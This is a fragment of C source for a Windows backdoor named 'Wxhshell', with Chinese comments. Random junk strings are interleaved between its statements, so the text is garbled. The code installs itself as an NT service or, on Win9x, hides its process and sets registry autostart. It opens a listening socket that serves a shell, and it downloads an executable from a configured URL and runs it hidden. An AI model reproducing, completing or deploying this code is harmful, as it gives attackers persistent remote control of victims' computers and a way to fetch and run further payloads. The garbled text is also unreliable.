1 dT1DcZ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n?*Fr sZ if(!hProcess) return 0; "nXL7N0 l~,5)*T if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $LLkYOwI A-\OB
Nh CloseHandle(hProcess); nwh7DUi F}P+3IaE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [*U6L<JI if(hProcess==NULL) return 0; T] d9tX- h#9X0u7j HMODULE hMod; [z$th char procName[255]; OD!b*Iy| unsigned long cbNeeded; 9L;fT5Tp7 V3WHp'1 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +]-~UsM Al="ss&2 CloseHandle(hProcess); x@3Ix,b' i-)OY, if(strstr(procName,"services")) return 1; // 以服务启动 z{U2K' (]0JI1
d return 0; // 注册表启动 &*\wr}a! } e&zZr]vs]l 4QODuyl2H // 主模块 !Mp.jE int StartWxhshell(LPSTR lpCmdLine) k3::5& { qc_c& SOCKET wsl; 62~8>71;' BOOL val=TRUE; :@zz5MB5@ int port=0; 7Z0fMk struct sockaddr_in door; mt$0p|B8 v'(p."g if(wscfg.ws_autoins) Install(); n>?o=_|uR I!?-lI@( port=atoi(lpCmdLine); Y.&nxT95= aMQfg51W: if(port<=0) port=wscfg.ws_port; t<5$85Y~ hnag<= WSADATA data; LYb@0O<w if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~;nh|v/e 45e-A{G~ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; n}(/>?/ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]ovP^]]V door.sin_family = AF_INET; L=4%MyZ.e door.sin_addr.s_addr = inet_addr("127.0.0.1"); Zq7Y('=`t@ door.sin_port = htons(port); };"-6e/9 9frLYJz" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !t/I
j ~o closesocket(wsl); f
QSP]? return 1; R{"Kh2q_ } Mz,G;x} &@CcH_d* if(listen(wsl,2) == INVALID_SOCKET) { x5[wF6A closesocket(wsl); ZYr6Wn return 1; k^B<t' } D+G?:mR Wxhshell(wsl); 1sgI,5liUs WSACleanup(); OKs1irt5 *;7~aM return 0; K*^3FO}JG CN4Q++{ } JgQ,,p_V? 4X tIMa28 // 以NT服务方式启动 aMdWT4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g{wOq{7V { 34S0W]V DWORD status = 0; &Z!O DWORD specificError = 0xfffffff; yClX!OL -?L~\WJAL serviceStatus.dwServiceType = SERVICE_WIN32; A)"?GK{* serviceStatus.dwCurrentState = SERVICE_START_PENDING; KwO;ICdJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jd]Om
r! serviceStatus.dwWin32ExitCode = 0; J?VMQTa/+ serviceStatus.dwServiceSpecificExitCode = 0; /U\k<\1~m serviceStatus.dwCheckPoint = 0; s`Z|
A serviceStatus.dwWaitHint = 0; .!|\Y!]^r jroR2* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0;9X`z
J if (hServiceStatusHandle==0) return; vz'/]E r ]JV!'R status = GetLastError(); jpijnz{M if (status!=NO_ERROR) @@->A9'L { fS9TDy serviceStatus.dwCurrentState = SERVICE_STOPPED; ]\DZW4?' serviceStatus.dwCheckPoint = 0; 4mYJ i#e6x serviceStatus.dwWaitHint = 0; 9 Z,K serviceStatus.dwWin32ExitCode = status; !R@v\Eu serviceStatus.dwServiceSpecificExitCode = specificError; (55k70>i3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); G)~/$EF,_ return; 6! `^}4 } #Bu W h=:Ls]ZU serviceStatus.dwCurrentState = SERVICE_RUNNING; FfEP@$ serviceStatus.dwCheckPoint = 0; o@T-kAEf-. serviceStatus.dwWaitHint = 0; b ]A9$- if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WBc ,/lgZ } ux>wa+XFa cV8Bl="gqe // 处理NT服务事件,比如:启动、停止 O^/z7, VOID WINAPI NTServiceHandler(DWORD fdwControl) %DOV)Qc2 { 3vdhoS| switch(fdwControl) u*n%cXY;J/ { ;5S'?fj case SERVICE_CONTROL_STOP: Q8d-yJs& serviceStatus.dwWin32ExitCode = 0; z{;~$." serviceStatus.dwCurrentState = SERVICE_STOPPED; )>-94xx| serviceStatus.dwCheckPoint = 0; D1G9^7:^E serviceStatus.dwWaitHint = 0; wz[Xay9jW { :{7gZ+*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4^*+G]]wZ~ } BOc2<M/\ return; e'nhP case SERVICE_CONTROL_PAUSE: dV/ ^@[ serviceStatus.dwCurrentState = SERVICE_PAUSED; C[X2]zr break; \tCxz(vKz case SERVICE_CONTROL_CONTINUE: /[V} serviceStatus.dwCurrentState = SERVICE_RUNNING; nC6 ;:uM break; wlC7;u case SERVICE_CONTROL_INTERROGATE: zDK"Y{ break; GpwoS1#)0| }; /Py1Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); /7[U J' } 7&O0 YB`1S // 标准应用程序主函数 ]7|Zs]6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cmcR@zv { kg/<<RO n,Gvgf // 获取操作系统版本 C3k[ipCN OsIsNt=GetOsVer(); Q}zd!* GetModuleFileName(NULL,ExeFile,MAX_PATH); 1@}s: gPJZpaS // 从命令行安装 H;DCkVL if(strpbrk(lpCmdLine,"iI")) Install(); 1r9.JS Sv#S_jh // 下载执行文件 b=$(`y if(wscfg.ws_downexe) { UiE 1TD{ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bjc<d,]
WinExec(wscfg.ws_filenam,SW_HIDE); wf` e3S } (JX 9c /^M|$JRI if(!OsIsNt) { {e]ktj#+{ // 如果时win9x,隐藏进程并且设置为注册表启动 ;N(9nX}%) HideProc(); 7gnrLc$]O StartWxhshell(lpCmdLine); U*Sjb%
Qb } r)]8zK4;= else bI?uV;m> if(StartFromService()) |~]@hs~ // 以服务方式启动 jA'7@/F/ StartServiceCtrlDispatcher(DispatchTable); Od]B;&F else +"?O2PX // 普通方式启动 9]4 W StartWxhshell(lpCmdLine); _Dq,\} Oaj$Z-
f return 0; ^l8&y;-T }
|